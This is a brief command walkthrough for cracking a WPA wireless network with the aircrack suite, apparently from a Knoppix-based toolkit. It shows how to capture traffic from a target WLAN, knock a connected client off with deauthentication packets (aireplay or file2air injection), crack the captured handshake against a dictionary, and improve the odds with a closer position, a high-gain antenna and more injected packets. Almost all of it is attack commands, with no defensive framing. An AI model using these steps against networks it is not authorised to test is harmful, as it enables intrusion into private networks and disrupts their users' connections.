Monitor the WLAN you want to crack:

#airodump ath0 <dumpfile> <channel>

Deauthorise a client connected to the network:

#aireplay -0 1 -a <AP_MAC> -c <Client_MAC> ath0

or

#file2air -i ath0 -r madwifi -f  /KNOPPIX/files/deauth.bin -n 5000 -d  <AP_MAC> -b <BSSID> -s <client_MAC>    NOTE: CAN CAUSE A KERNEL LOCKUP WITH SOME HARDWARE

start aircrack

#aircrack <dumpfile.cap> -w /KNOPPIX/files/dict.txt

All going well you will have captured a WPA handshake, if not try deauthorising the client again and/or

Move closer to the target
Use a high gain antenna
Increase the number after the -n from 8000
Try a different .bin file, such as beacon.bin